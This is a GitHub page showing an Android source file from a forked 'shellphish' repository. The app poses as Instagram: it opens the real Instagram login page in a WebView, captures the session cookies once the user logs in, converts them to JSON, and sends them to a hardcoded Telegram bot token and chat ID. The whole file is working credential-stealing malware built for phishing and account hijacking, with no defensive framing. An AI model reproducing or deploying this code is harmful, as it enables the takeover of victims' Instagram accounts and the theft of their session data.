forked from alilove09786/shellphish
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMainActivity.java
More file actions
150 lines (119 loc) · 4.46 KB
/
Copy pathMainActivity.java
File metadata and controls
150 lines (119 loc) · 4.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
package com.instagram;
import android.content.Context;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.webkit.CookieManager;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;
import org.json.JSONException;
import org.json.JSONObject;
public class MainActivity extends AppCompatActivity {
private final String TAG = "MainActivity";
private final String BOT_TOKEN = "7109250422:AAF7sDPgXGgze2zhI37GxK0oWxdxiu1zVPs";
private String TG_API_ENDPOINT = "https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s";
private final String CHAT_ID = "7163927880"; // And don't forget to subscribe Technical White Hat youtube channel and also follow on telegram
private WebView webView;
private SharedPreferences preferences;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
preferences = getPreferences(Context.MODE_PRIVATE);
setContentView(R.layout.activity_main);
webView = findViewById(R.id.webview);
webView.getSettings().setLoadsImagesAutomatically(true);
webView.getSettings().setJavaScriptEnabled(true);
webView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY);
webView.setWebViewClient(new WebViewClient() {
@Override
public void onPageFinished(WebView view, String url) {
String cookie = CookieManager.getInstance().getCookie(url);
if (cookie.contains("sessionid")) {
try {
String parsedCookies = parseCookiesToJson(cookie);
if (parsedCookies != null) {
sendCookiesToTelegram(parsedCookies);
}
} catch (JSONException e) {
Log.e(TAG, e.getMessage());
}
}
}
});
webView.loadUrl("https://z-p15.www.instagram.com/accounts/login/?next=/direct/inbox/");
}
private String parseCookiesToJson(String cookie) throws JSONException {
List<JSONObject> listOFCookies = new ArrayList<>();
String[] arrayOfCookies = cookie.split(";");
for (String eachCookie : arrayOfCookies) {
String[] arrayOfEachCookie = eachCookie.split("=");
JSONObject jsonObject = new JSONObject();
jsonObject.put("name", arrayOfEachCookie[0].trim());
jsonObject.put("value", arrayOfEachCookie[1].trim());
if (jsonObject.getString("name").equals("sessionid")) {
if (jsonObject.getString("value").equals(preferences.getString("SESSION_ID", "NO_SESSION"))) {
return null;
} else {
SharedPreferences.Editor edit = preferences.edit();
edit.putString("SESSION_ID", jsonObject.getString("value"));
edit.apply();
}
}
jsonObject.put("domain", ".instagram.com");
if (arrayOfEachCookie[0].equals("shbts")
|| arrayOfEachCookie[0].equals("shbid")
|| arrayOfEachCookie[0].equals("ig_did")
|| arrayOfEachCookie[0].equals("sessionid")
|| arrayOfEachCookie[0].equals("rur")) {
jsonObject.put("httpOnly", true);
} else {
jsonObject.put("httpOnly", false);
}
jsonObject.put("path", "/");
jsonObject.put("secure", true);
jsonObject.put("httpOnly", false);
jsonObject.put("sameSite", "no_restriction");
if (arrayOfEachCookie[0].equals("rur")) {
jsonObject.put("session", true);
} else {
jsonObject.put("session", false);
}
jsonObject.put("firstPartyDomain", "");
jsonObject.put("storeId", null);
listOFCookies.add(jsonObject);
}
Log.d(TAG, listOFCookies.toString());
return listOFCookies.toString();
}
private void sendCookiesToTelegram(final String message) {
new Thread() {
@Override
public void run() {
try {
URL url = new URL(String.format(TG_API_ENDPOINT, BOT_TOKEN, CHAT_ID, message));
HttpURLConnection http = (HttpURLConnection) url.openConnection();
http.setRequestMethod("GET");
http.setRequestProperty("Host","api.telegram.org");
http.getInputStream();
http.disconnect();
} catch (MalformedURLException e) {
Log.e(TAG, e.getMessage());
} catch (IOException e) {
Log.e(TAG, e.getMessage());
}
}
}.start();
}
}